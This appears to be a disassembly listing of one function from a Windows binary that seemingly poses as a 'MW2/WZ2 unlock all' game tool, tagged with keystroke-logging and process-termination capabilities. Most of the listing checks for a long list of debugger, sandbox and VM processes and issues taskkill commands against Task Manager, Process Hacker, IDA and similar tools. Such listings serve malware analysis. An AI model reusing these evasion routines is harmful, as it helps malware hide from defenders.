Function at 0x140084b60
Capabilities:
Create process on windows
Enumerate processes
Log keystrokes via polling
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xaf8]
sub rsp, 0xbd0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1403825a0]
xor rax, rsp
mov qword [rbp + 0xab0], rax
xor edx, edx
mov r8d, 0x240
lea rcx, [rbp + 0x4d0]
call fcn.140267df0
lea rcx, [rbp + 0x4d0]
call fcn.140084700
nop
mov dword [rbp + 0x480], 0x50
mov dword [rbp + 0x484], 0x40
lea rax, [0x140084aa0]
mov qword [rbp + 0x488], rax
xor r13d, r13d
mov qword [rbp + 0x490], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x498], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x4a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x4b0], xmm1
lea rbx, str.Loader
mov qword [rbp + 0x4c0], rbx
mov qword [rbp + 0x4c8], r13
lea rcx, [rbp + 0x480]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r13
mov rax, qword [rbp + 0x498]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x80000000
mov r8, rbx
mov rdx, qword [rbp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
mov qword [0x1403b71e0], rax
lea ecx, [r13 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x1403b71d8], rax
test rax, rax
je 0x140084665
mov qword [0x1403b7190], r13
mov qword [0x1403b719c], r13
mov dword [0x1403b71a4], r13d
mov qword [0x1403b71ac], r13
mov dword [0x1403b71b4], r13d
mov qword [0x1403b71c4], r13
mov dword [0x1403b71b8], 1
mov dword [0x1403b71a8], 1
mov dword [0x1403b7198], r13d
mov dword [0x1403b71bc], 1
mov dword [0x1403b71c0], 0x50
mov dword [0x1403b71cc], 1
mov rax, qword [rax]
lea rdx, [0x1403b71d0]
mov qword [rsp + 0x30], rdx
lea rdx, [0x1403b7190]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rbx
xor edx, edx
lea r8d, [r13 + 1]
call qword [rax + pe_nt_image_headers64]
test eax, eax
js 0x14008465e
xor edx, edx
mov rcx, qword [0x1403b71e0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403b71e0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1403b71f0]
test rax, rax
je 0x14008303e
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call fcn.140280478
mov qword [rbp + 0x710], rax
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x78], rcx
mov qword [rbp + 0x470], rax
test rax, rax
je 0x140083070
xor edx, edx
mov rcx, rax
call fcn.140084ee0
jmp 0x140083073
mov rax, r13
cmp qword [0x1403b71f0], 0
jne 0x140083084
mov qword [0x1403b71f0], rax
mov rcx, rax
call fcn.14008bbc0
mov rdi, qword [0x1403b71f0]
or dword [rdi + 8], 0x400
mov dword [rdi + 0x1c], 0x3f800000
movss xmm6, dword [rdi + 0x1648]
mov dword [rdi + 0x1648], r13d
movss xmm2, dword [0x140351f6c]
mov rcx, qword [rdi + 0xa8]
call fcn.1400b3610
movss xmm2, dword [0x140351f74]
mov rcx, qword [rdi + 0xa8]
call fcn.1400b3610
mov qword [rbp + 0x708], rax
movss dword [rdi + 0x1648], xmm6
mov dword [rdi + 0x163c], 0x41000000
mov dword [rdi + 0x1640], 0x41000000
mov dword [rdi + 0x1644], 0x41200000
mov dword [rdi + 0x1660], r13d
mov dword [rdi + 0x1670], 0x40a00000
mov dword [rdi + 0x1674], 0x40a00000
mov dword [rdi + 0x1678], 0x40c00000
mov dword [rdi + 0x1668], 0x40400000
mov dword [rdi + 0x1680], 0x41000000
mov dword [rdi + 0x1684], 0x41000000
mov dword [rdi + 0x1688], 0x41000000
mov dword [rdi + 0x168c], 0x40c00000
mov dword [rdi + 0x16a0], 0x41c80000
mov dword [rdi + 0x16a8], 0x41700000
mov dword [rdi + 0x16ac], 0x41100000
mov dword [rdi + 0x16b0], 0x40a00000
mov dword [rdi + 0x16b4], 0x40c00000
mov dword [rdi + 0x1654], 0x3f000000
mov dword [rdi + 0x1658], 0x3f000000
mov qword [rdi + 0x16fc], 0x3f18d4fe
mov dword [rdi + 0x1704], r13d
mov dword [rdi + 0x1708], 0x3f70a3d7
mov qword [rdi + 0x170c], 0x3f18d4fe
mov dword [rdi + 0x1714], r13d
mov qword [rdi + 0x1718], 0x3f70a3d7
mov qword [rdi + 0x1720], r13
mov dword [rdi + 0x1728], 0x3f70a3d7
mov dword [rdi + 0x173c], 0x3e4ac083
mov dword [rdi + 0x1740], 0x3e7ced91
mov dword [rdi + 0x1744], 0x3e9ba5e3
mov dword [rdi + 0x1748], 0x3ecccccd
mov qword [rdi + 0x174c], 0x3f18d4fe
mov dword [rdi + 0x1754], r13d
mov dword [rdi + 0x1758], 0x3f70a3d7
mov qword [rdi + 0x175c], 0x3f18d4fe
mov dword [rdi + 0x1764], r13d
mov dword [rdi + 0x1768], 0x3f70a3d7
mov dword [rdi + 0x176c], 0x3eb645a2
mov dword [rdi + 0x1770], 0x3eb1a9fc
mov dword [rdi + 0x1774], 0x3eb7ced9
mov dword [rdi + 0x1778], 0x3f70a3d7
mov dword [rdi + 0x177c], 0x3eb645a2
mov dword [rdi + 0x1780], 0x3eb1a9fc
mov dword [rdi + 0x1784], 0x3eb7ced9
mov qword [rdi + 0x1788], 0x3f70a3d7
mov dword [rdi + 0x1790], 0x3e158106
mov dword [rdi + 0x1794], 0x3f133333
mov qword [rdi + 0x1798], 0x3f70a3d7
mov qword [rdi + 0x17a0], r13
mov qword [rdi + 0x17a8], 0x3f70a3d7
mov qword [rdi + 0x17bc], r13
mov dword [rdi + 0x17c4], r13d
mov dword [rdi + 0x17c8], 0x3f70a3d7
mov qword [rdi + 0x17b0], r13
mov dword [rdi + 0x17b8], 0x3f70a3d7
mov dword [rdi + 0x17cc], 0x3dcccccd
mov dword [rdi + 0x17d0], 0x3db851ec
mov dword [rdi + 0x17d4], 0x3df5c28f
mov dword [rdi + 0x17d8], 0x3f800000
mov dword [rdi + 0x17dc], 0x3dcccccd
mov dword [rdi + 0x17e0], 0x3db851ec
mov dword [rdi + 0x17e4], 0x3df5c28f
mov dword [rdi + 0x17e8], 0x3f800000
mov dword [rdi + 0x17ec], 0x3f4ccccd
mov dword [rdi + 0x17f0], 0x3f4ccccd
mov dword [rdi + 0x17f4], 0x3f547ae1
mov dword [rdi + 0x17f8], 0x3e9eb852
mov dword [rdi + 0x17fc], 0x3f0f5c29
mov dword [rdi + 0x1800], 0x3f0f5c29
mov dword [rdi + 0x1804], 0x3f147ae1
mov dword [rdi + 0x1808], 0x3f800000
mov dword [rdi + 0x180c], 0x3d75c28f
mov dword [rdi + 0x1810], 0x3d4ccccd
mov dword [rdi + 0x1814], 0x3d8f5c29
mov dword [rdi + 0x1818], 0x3f800000
mov dword [rdi + 0x181c], 0x3f4ccccd
mov dword [rdi + 0x1820], 0x3f4ccccd
mov dword [rdi + 0x1824], 0x3f547ae1
mov dword [rdi + 0x1828], 0x3e9eb852
mov dword [rdi + 0x182c], 0x3f4ccccd
mov dword [rdi + 0x1830], 0x3f4ccccd
mov dword [rdi + 0x1834], 0x3f547ae1
mov dword [rdi + 0x1838], 0x3e9eb852
mov dword [rdi + 0x183c], 0x3d75c28f
mov dword [rdi + 0x1840], 0x3d4ccccd
mov dword [rdi + 0x1844], 0x3d8f5c29
mov qword [rdi + 0x1848], 0x3f800000
mov qword [rdi + 0x1850], r13
mov qword [rdi + 0x1858], 0x3f70a3d7
mov qword [rdi + 0x1860], r13
mov dword [rdi + 0x1868], 0x3f70a3d7
mov dword [rdi + 0x187c], 0x3dcccccd
mov dword [rdi + 0x1880], 0x3db851ec
mov dword [rdi + 0x1884], 0x3df5c28f
mov dword [rdi + 0x1888], 0x3f800000
mov dword [rdi + 0x188c], 0x3dcccccd
mov dword [rdi + 0x1890], 0x3db851ec
mov dword [rdi + 0x1894], 0x3df5c28f
mov dword [rdi + 0x1898], 0x3f800000
mov dword [rdi + 0x189c], 0x3f66a7f0
mov dword [rdi + 0x18a0], 0x3eea7efa
mov dword [rdi + 0x18a4], 0x3d99999a
mov dword [rdi + 0x18a8], 0x3f800000
mov qword [rdi + 0x18dc], r13
mov qword [rdi + 0x18e4], r13
mov dword [rdi + 0x18ec], 0x3f0f5c29
mov dword [rdi + 0x18f0], 0x3f0f5c29
mov dword [rdi + 0x18f4], 0x3f147ae1
mov dword [rdi + 0x18f8], 0x3f800000
mov dword [rdi + 0x18fc], 0x3d75c28f
mov dword [rdi + 0x1900], 0x3d4ccccd
mov dword [rdi + 0x1904], 0x3d8f5c29
mov qword [rdi + 0x1908], 0x3f800000
mov dword [rdi + 0x197c], 0x3ecccccd
mov dword [rdi + 0x1980], 0x3ec7ae14
mov dword [rdi + 0x1984], 0x3ec28f5c
mov dword [rdi + 0x1988], 0x3f2147ae
mov dword [rdi + 0x198c], 0x3e800000
mov qword [rdi + 0x1990], 0x3f800000
mov dword [rdi + 0x1998], 0x3f800000
mov dword [rdi + 0x199c], 0x3ecccccd
mov dword [rdi + 0x19a0], 0x3ec7ae14
mov dword [rdi + 0x19a4], 0x3ec28f5c
mov dword [rdi + 0x19a8], 0x3f2147ae
mov dword [rdi + 0x19ac], 0x3e800000
mov qword [rdi + 0x19b0], 0x3f800000
mov dword [rdi + 0x19b8], 0x3f800000
mov dword [rdi + 0x1a0c], 0x3e800000
mov qword [rdi + 0x1a10], 0x3f800000
mov dword [rdi + 0x1a18], 0x3edc28f6
mov qword [rdi + 0x172c], r13
mov dword [rdi + 0x1734], r13d
mov dword [rdi + 0x1738], 0x3f70a3d7
mov qword [rdi + 0x1910], r13
mov dword [rdi + 0x1918], 0x3f70a3d7
mov dword [rdi + 0x191c], 0x3e75c28f
mov dword [rdi + 0x1920], 0x3e6b851f
mov dword [rdi + 0x1924], 0x3e947ae1
mov dword [rdi + 0x1928], 0x3f800000
mov qword [rdi + 0x186c], r13
mov dword [rdi + 0x1874], r13d
mov dword [rdi + 0x1878], 0x3f70a3d7
movups xmm0, xmmword [rdi + 0x186c]
movups xmmword [rdi + 0x192c], xmm0
call fcn.1400b9540
mov rcx, qword [0x1403b71d0]
mov rbx, qword [0x1403b71f0]
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0xe8], rax
or dword [rbx + 0xc], 0x1008
mov qword [0x1403b72c0], rcx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x1400836e1
mov rax, qword [0x1403b71f0]
lea rcx, [fcn.1400b9210]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.1400b92e0]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x1400b9360]
mov qword [rax + 0x1600], rcx
lea rcx, [0x1400b93c0]
mov qword [rax + 0x1608], rcx
lea rcx, [0x1400b9510]
mov qword [rax + 0x1610], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x748]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
mov eax, dword [rcx + rax]
cmp dword [0x1403b78a8], eax
jle 0x140083e81
lea rcx, [0x1403b78a8]
call fcn.140262f50
cmp dword [0x1403b78a8], 0xffffffff
jne 0x140083e81
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1403b7890], xmm0
mov qword [0x1403b78a0], rax
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm1
lea r8d, [rax + 0xb]
lea rdx, str.ollydbg.exe
lea rcx, [rbp - 0x70]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.ReClass.NET.exe
lea rcx, [rbp - 0x50]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
mov r8d, ntohs
lea rdx, str.KsDumper.exe
lea rcx, [rbp - 0x30]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov r8d, ntohs
lea rdx, str.vboxtray.exe
lea rcx, [rbp - 0x10]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.vboxservices.exe
lea rcx, [rbp + 0x10]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
mov r8d, ntohs
lea rdx, str.Vmacthlp.exe
lea rcx, [rbp + 0x30]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Vmwareusere.exe
lea rcx, [rbp + 0x50]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.Vmwaretrat.exe
lea rcx, [rbp + 0x70]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
mov r8d, ntohs
lea rdx, str.Vmtoolsd.exe
lea rcx, [rbp + 0x90]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8d, 7
lea rdx, str.ida.exe
lea rcx, [rbp + 0xb0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, 9
lea rdx, str.ida64.exe
lea rcx, [rbp + 0xd0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.joeboxserver.exe
lea rcx, [rbp + 0xf0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
mov r8d, ntohs
lea rdx, str.Fiddler.exe
lea rcx, [rbp + 0x110]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x140], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.joeboxcontrol.exe
lea rcx, [rbp + 0x130]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x160], xmm1
mov r8d, 0xa
lea rdx, str.windbg.exe
lea rcx, [rbp + 0x150]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x180], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.sniff_hit.exe
lea rcx, [rbp + 0x170]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1a0], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.sysAnalyser.exe
lea rcx, [rbp + 0x190]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.proc_analyzer.exe
lea rcx, [rbp + 0x1b0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1e0], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SysInspector.exe
lea rcx, [rbp + 0x1d0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x200], xmm1
mov r8d, ntohs
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0x1f0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x220], xmm1
mov r8d, 0xa
lea rdx, str.LordPE.exe
lea rcx, [rbp + 0x210]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x240], xmm1
mov r8d, ntohs
lea rdx, str.PETools.exe
lea rcx, [rbp + 0x230]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.ImportREC.exe
lea rcx, [rbp + 0x250]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.HookExplorer.exe
lea rcx, [rbp + 0x270]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2a0], xmm1
mov r8d, ntohs
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0x290]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2c0], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Wireshark.exe
lea rcx, [rbp + 0x2b0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2e0], xmm1
mov r8d, ntohs
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0x2d0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x300], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.ImmunityDebugger.exe
lea rcx, [rbp + 0x2f0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x320], xmm1
mov r8d, 0xa
lea rdx, str.idaq64.exe
lea rcx, [rbp + 0x310]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x340], xmm1
mov r8d, 8
lea rdx, str.idaq.exe
lea rcx, [rbp + 0x330]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x360], xmm1
mov r8d, 0xa
lea rdx, str.regmon.exe
lea rcx, [rbp + 0x350]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x380], xmm1
mov r8d, 0xa
lea rdx, str.regmon.exe
lea rcx, [rbp + 0x370]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3a0], xmm1
mov r8d, ntohs
lea rdx, str.procmon.exe
lea rcx, [rbp + 0x390]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3c0], xmm1
mov r8d, ntohs
lea rdx, str.filemon.exe
lea rcx, [rbp + 0x3b0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3e0], xmm1
mov r8d, ntohs
lea rdx, str.autoruns.exe
lea rcx, [rbp + 0x3d0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x400], xmm1
mov r8d, ntohs
lea rdx, str.tcpview.exe
lea rcx, [rbp + 0x3f0]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x420], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.ProcessHacker.exe
lea rcx, [rbp + 0x410]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x440], xmm1
mov r8d, ntohs
lea rdx, str.prefmon.exe
lea rcx, [rbp + 0x430]
call fcn.14005d510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x460], xmm1
mov r8d, 0xa
lea rdx, str.x64dbg.exe
lea rcx, [rbp + 0x450]
call fcn.14005d510
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x470], rax
lea rax, [rbp + 0x470]
mov qword [rbp + 0x478], rax
lea rdx, [rbp + 0x470]
lea rcx, [0x1403b7890]
call fcn.140072160
nop
lea r9, [fcn.14005c870]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx + 7]
lea rcx, [rbp - 0x70]
call fcn.140262fd8
lea rcx, [0x1402ab030]
call fcn.1402632e0
nop
lea rcx, [0x1403b78a8]
call fcn.140262ee4
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r8d, 0x104
lea rdx, [rbp + 0x9a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.MW2___WZ2___UNLOCK_ALL.exe
lea rcx, [rbp + 0x9a0]
call fcn.140280174
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
mov r8d, ntohs
lea rdx, [0x14034a6b8]
lea rcx, [rsp + 0x68]
call fcn.140075ce0
mov r15d, r13d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov r14, qword [rbp - 0x80]
mov rbx, qword [rsp + 0x68]
cmp rax, 0xffffffffffffffff
je 0x1400840c1
mov dword [rbp + 0x760], 0x238
lea rdx, [rbp + 0x760]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400840c1
lea rax, [rsp + 0x68]
cmp r14, 8
cmovae rax, rbx
lea r8, [rbp + 0x78c]
sub r8, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400840a4
add rax, 2
test ecx, ecx
jne 0x140084090
test edx, edx
je 0x1400840ba
lea rdx, [rbp + 0x760]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140084073
mov r15d, dword [rbp + 0x768]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp r14, 8
jb 0x140084105
lea rdx, [r14*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400840fd
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400846f5
mov rcx, rbx
call fcn.140262e30
mov r8d, r15d
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14008412f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.Taskmgr.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x718], xmm0
movups xmmword [rbp + 0x728], xmm0
movups xmmword [rbp + 0x738], xmm0
movss xmm6, dword [0x140351ee0]
nop dword [rax]
cmp byte [0x1403b7339], 0
jne 0x140084534
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x718]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1400841bd
lea rcx, [rbp + 0x718]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x718]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140084527
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400841e5
lea rcx, [0x1403b7670]
call fcn.1400649f0
lea rcx, [0x1403b74b0]
call fcn.1400649f0
mov byte [reloc.WS2_32.dll_accept], 0
cmp qword [0x1403b72b0], 0
jne 0x1400841f4
call fcn.1400b90a0
mov rbx, qword [0x1403b71f0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x470], xmm0
